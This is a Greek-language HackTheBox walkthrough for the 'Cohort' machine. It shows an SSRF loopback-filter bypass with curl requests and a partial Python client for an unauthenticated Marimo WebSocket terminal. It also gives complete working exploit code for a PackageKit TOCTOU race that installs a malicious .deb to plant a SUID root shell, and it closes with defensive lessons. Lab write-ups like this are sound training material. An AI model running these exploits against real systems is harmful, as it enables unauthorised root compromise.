Πίσω στο blog

English  ·  Ελληνικά

Offensive / HTB  ·  Walkthrough  ·  Σεπτεμβριος 2026

Cohort
HackTheBox

Ένα εύκολο machine που συνδυάζει παρακάμψεις φίλτρου SSRF, pre-auth RCE σε ένα Marimo notebook, και ένα TOCTOU race condition στο PackageKit για root. Input validation λάθος φτιαγμένο· εσωτερικές υπηρεσίες εκτεθειμένες· system packages χωρίς patch.

Offensive HackTheBox SSRF Marimo PackageKit

Διεύθυνση IP: 10.129.119.223

Δυσκολία: Εύκολο

1. Αναγνωριση

Αρχικο Σαρωμα & Ανακαλυψη Vhost

Το nmap βρίσκει τρία ports. Το πιστοποιητικό TLS αποκαλύπτει ένα wildcard domain.

nmap 10.129.119.223
PORT    STATE SERVICE
22/tcp  open  ssh
80/tcp  open  http
443/tcp open  https

Το enumeration υπηρεσιών δείχνει nginx/1.24.0 και στο HTTP και στο HTTPS. Το πιστοποιητικό TLS παρουσιάζει *.cohort.htb — ένα wildcard SAN που υποδηλώνει πολλαπλά virtual hosts.

Προσθέτουμε στο /etc/hosts:

bash
10.129.119.223 cohort.htb
10.129.119.223 nb-1be3782a8afd3ad5.cohort.htb

Το κύριο domain φιλοξενεί το Cohort Analytics — ένα obfuscated SPA για retention intelligence. Το δεύτερο vhost αποδεικνύεται ότι είναι ένα reverse proxy προς έναν εσωτερικό server Marimo notebook.

2. SSRF & Εσωτερικη Ανακαλυψη

Server-Side Request Forgery

Το SPA έχει ένα endpoint επικύρωσης URL που διαρρέει εσωτερικές υπηρεσίες. Το φίλτρο είναι αφελές string-matching.

Εξερευνώντας το SPA Cohort αποκαλύπτεται ένα κρυφό portal στο /portal.html όπου οι χρήστες υποβάλλουν «report source URLs». Η υποβολή ενός URL πυροδοτεί ένα POST στο /api/validate:

curl
curl -s -k -X POST https://cohort.htb/api/validate \
  -H "Content-Type: application/json" \
  -d '{"url":"http://127.0.0.1/","format":"csv"}'

Ο server απορρίπτει διευθύνσεις loopback — φιλτράρει έναντι 127.0.0.1 και localhost με απλό string matching. Αυτό παρακάμπτεται τετριμμένα.

Παρακαμπτοντας Το Φιλτρο

Εναλλακτικές αναπαραστάσεις του loopback:

Χρησιμοποιώντας το 127.1, σαρώνουμε εσωτερικά ports:

curl — probe port 5000
curl -s -k -X POST https://cohort.htb/api/validate \
  -H "Content-Type: application/json" \
  -d '{"url":"http://127.1:5000/","format":"json"}'

Port 5000: backend Flask | Port 8888: Marimo notebook (auth-gated, μόνο εσωτερικά)

Διαρροη Του Κρυφου Vhost

Το Nginx εκθέτει ένα endpoint /status που επιστρέφει 403 σε unauthorized clients. Κάνοντας route μέσα από το SSRF, παρακάμπτουμε το ACL:

curl — leak nginx status
curl -s -k -X POST https://cohort.htb/api/validate \
  -H "Content-Type: application/json" \
  -d '{"url":"http://127.1/status","format":"json"}'

Η απάντηση διαρρέει ολόκληρο το config του Nginx, αποκαλύπτοντας: nb-1be3782a8afd3ad5.cohort.htb — το κρυφό vhost που λειτουργεί ως reverse proxy προς το Marimo στο port 8888.

Συμπερασμα: Αφελες Φιλτραρισμα

Ποτέ μην χρησιμοποιείς string-matching για ασφάλεια. Χρησιμοποίησε κατάλληλες βιβλιοθήκες IP parsing και allowlisting, όχι blacklisting. Μία μόνο εναλλακτική αναπαράσταση παρακάμπτει ολόκληρο το φίλτρο.

3. Foothold: Marimo RCE

CVE-2026-39987 — Pre-Auth WebSocket Shell

Ο server notebook Marimo εκθέτει ένα unauthenticated WebSocket terminal. Ο έλεγχος auth λείπει σε αυτό το route.

Το Marimo 0.20.4 εκθέτει το /terminal/ws ως ένα WebSocket που δημιουργεί ένα pseudoterminal OS. Η ευπάθεια: ο έλεγχος validate_auth() λείπει από τον handler του route WebSocket, επιτρέποντας σε unauthenticated clients να δημιουργήσουν interactive shell.

Προσαρμοσμενος Client WebSocket

Οι standard βιβλιοθήκες websocket της Python συμπεριφέρονται λάθος πάνω από TLS σε αυτό το περιβάλλον. Χρησιμοποιούμε raw sockets με WebSocket framing:

python3 — connect to /terminal/ws
import socket, ssl, base64, os, struct

TARGET_IP = "10.129.119.223"
HOST = "nb-1be3782a8afd3ad5.cohort.htb"
PATH = "/terminal/ws"

def connect():
    raw = socket.create_connection((TARGET_IP, 443), timeout=8)
    ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT)
    ctx.check_hostname = False
    ctx.verify_mode = ssl.CERT_NONE
    s = ctx.wrap_socket(raw, server_hostname=HOST)
    key = base64.b64encode(os.urandom(16)).decode()
    req = (f"GET {PATH} HTTP/1.1\r\nHost: {HOST}\r\n"
           f"Upgrade: websocket\r\nConnection: Upgrade\r\n"
           f"Sec-WebSocket-Key: {key}\r\n"
           f"Sec-WebSocket-Version: 13\r\n\r\n")
    s.sendall(req.encode())
    resp = b""
    while b"\r\n\r\n" not in resp:
        resp += s.recv(4096)
    return s

s = connect()
# Now send WebSocket frames...

Εκμεταλλευση

$ python3 exploit.py 'id; whoami'
uid=1000(marimo) gid=1000(marimo) groups=1000(marimo)
marimo

Έχουμε unauthenticated RCE ως marimo. Διαβάζουμε το user flag:

$ python3 exploit.py 'cat /home/marimo/user.txt'
[redacted — user flag]
Ριζικη Αιτια

Ο developer ξέχασε να εφαρμόσει το middleware authentication στο route WebSocket. Ένα συνηθισμένο λάθος όταν το routing και το auth είναι αποσυνδεδεμένα.

4. Privilege Escalation

CVE-2026-41651 — Race TOCTOU Στο PackageKit

Ένα ξεπερασμένο PackageKit είναι ευάλωτο σε race condition D-Bus. Κάνουμε race μια εγκατάσταση SIMULATE έναντι μιας REAL για να τρέξουμε κώδικα ως root.

Οι standard έλεγχοι privesc δείχνουν βαρύ hardening: περιορισμένα namespaces, σκληρυμένο audit, NoNewPrivileges. Ωστόσο, ένα ξεπερασμένο PackageKit 1.2.8 είναι εγκατεστημένο μαζί με D-Bus και dpkg. Αυτό είναι ευάλωτο στο CVE-2026-41651, ένα TOCTOU race condition.

Κατανοωντας Το Race

  1. Άνοιγμα ενός transaction D-Bus με το PackageKit
  2. Κλήση του InstallFiles με flag SIMULATE (4) — ο daemon κάνει validate τα packages
  3. Πριν ολοκληρωθεί η simulation, στέλνουμε δεύτερη κλήση InstallFiles με flag REAL (0) που δείχνει στο .deb του επιτιθέμενου
  4. Η φάση εκτέλεσης του daemon διαβάζει αντικατεστημένες παραμέτρους
  5. Το PackageKit εγκαθιστά το κακόβουλο .deb, τρέχοντας το maintainer script postinst του ως root

Κωδικας Exploit

python3 — PackageKit TOCTOU exploit
import os, subprocess, time
from gi.repository import Gio, GLib

TARGET_SUID = "/tmp/.suid_bash"
DUMMY_DEB = "/tmp/dummy.deb"
PAYLOAD_DEB = "/tmp/payload.deb"

def build_deb(path, name, is_payload=False):
    tmp_dir = f"/tmp/build_{name}"
    debian_dir = os.path.join(tmp_dir, "DEBIAN")
    os.makedirs(debian_dir, exist_ok=True)

    with open(os.path.join(debian_dir, "control"), "w") as f:
        f.write(f"Package: {name}\nVersion: 1.0\n"
                f"Architecture: all\nMaintainer: PoC\n"
                f"Description: PoC\n")

    if is_payload:
        postinst = os.path.join(debian_dir, "postinst")
        with open(postinst, "w") as f:
            f.write(f"#!/bin/sh\n"
                    f"install -m 4755 /bin/bash {TARGET_SUID}\n")
        os.chmod(postinst, 0o755)

    subprocess.run(["dpkg-deb", "-b", tmp_dir, path],
                   stdout=subprocess.DEVNULL)
    subprocess.run(["rm", "-rf", tmp_dir])

def exploit():
    build_deb(DUMMY_DEB, "pk-dummy")
    build_deb(PAYLOAD_DEB, "pk-payload", is_payload=True)

    connection = Gio.bus_get_sync(Gio.BusType.SYSTEM, None)

    # Create transaction
    res = connection.call_sync(
        "org.freedesktop.PackageKit",
        "/org/freedesktop/PackageKit",
        "org.freedesktop.PackageKit",
        "CreateTransaction", None,
        GLib.VariantType.new("(o)"),
        Gio.DBusCallFlags.NONE, -1, None
    )

    tid = res.unpack()[0]

    # Race: SIMULATE then REAL
    connection.call(
        "org.freedesktop.PackageKit", tid,
        "org.freedesktop.PackageKit.Transaction", "InstallFiles",
        GLib.Variant("(tas)", (4, [DUMMY_DEB])),  # SIMULATE
        None, Gio.DBusCallFlags.NONE, -1, None, None
    )

    connection.call(
        "org.freedesktop.PackageKit", tid,
        "org.freedesktop.PackageKit.Transaction", "InstallFiles",
        GLib.Variant("(tas)", (0, [PAYLOAD_DEB])),  # REAL
        None, Gio.DBusCallFlags.NONE, -1, None, None
    )

    connection.flush_sync(None)

    # Wait for suid bash
    for _ in range(60):
        if os.path.exists(TARGET_SUID) and (os.stat(TARGET_SUID).st_mode & 0o4000):
            result = subprocess.run(
                [TARGET_SUID, "-p", "-c", "cat /root/root.txt"],
                capture_output=True, text=True
            )
            print(result.stdout.strip())
            return
        time.sleep(1)

Εκτελεση Μεσω Websocket

$ python3 exploit.py "python3 /tmp/p2r.py"
[*] CVE-2026-41651 — PackageKit LPE
[+] Packages generated
[+] Transaction: /3_beeeacac
[*] Racing SIMULATE vs REAL...
[*] Waiting for SUID bash...
[+++] Got SUID bash!
[redacted — root flag]
Παραθυρο Race

Το παράθυρο ανάμεσα στις φάσεις validation παραμέτρων και εκτέλεσης του PackageKit είναι τυπικά 1–100ms. Το να πυροδοτήσεις και τις δύο async κλήσεις D-Bus back-to-back και να κάνεις flush το πετυχαίνει αξιόπιστα μέσα σε 60 δευτερόλεπτα retries.

Βασικα Συμπερασματα

  1. Input Validation: Κατάλληλο IP parsing, όχι string-matching. Allowlist, όχι blacklist.
  2. Εσωτερικές Υπηρεσίες: Μην εκθέτεις endpoints που διαρρέουν όπως το /status· περιόρισε handlers ευάλωτους σε SSRF.
  3. Ασφάλεια Framework: Εφάρμοσε middleware auth σε κάθε route. Μην υποθέτεις ότι unauthenticated endpoints είναι αβλαβή.
  4. Package Management: Κράτα τις υπηρεσίες συστήματος patched. Τα updates D-Bus και PackageKit είναι κρίσιμα.
  5. Race Conditions: Ασύγχρονες λειτουργίες με καθυστερημένη εκτέλεση είναι πρώτης τάξης στόχοι. Χρησιμοποίησε synchronous APIs ή κατάλληλο locking.
Φαση Ευπαθεια Αντικτυπος
1. SSRF Φίλτρο string-matching Bypass μέσω 127.1, σάρωμα εσωτερικών ports
2. Service Discovery Bypass ACL Nginx Διαρροή κρυφού vhost από το /status
3. RCE CVE-2026-39987 Pre-auth shell μέσω /terminal/ws
4. Root CVE-2026-41651 Root μέσω race TOCTOU του postinst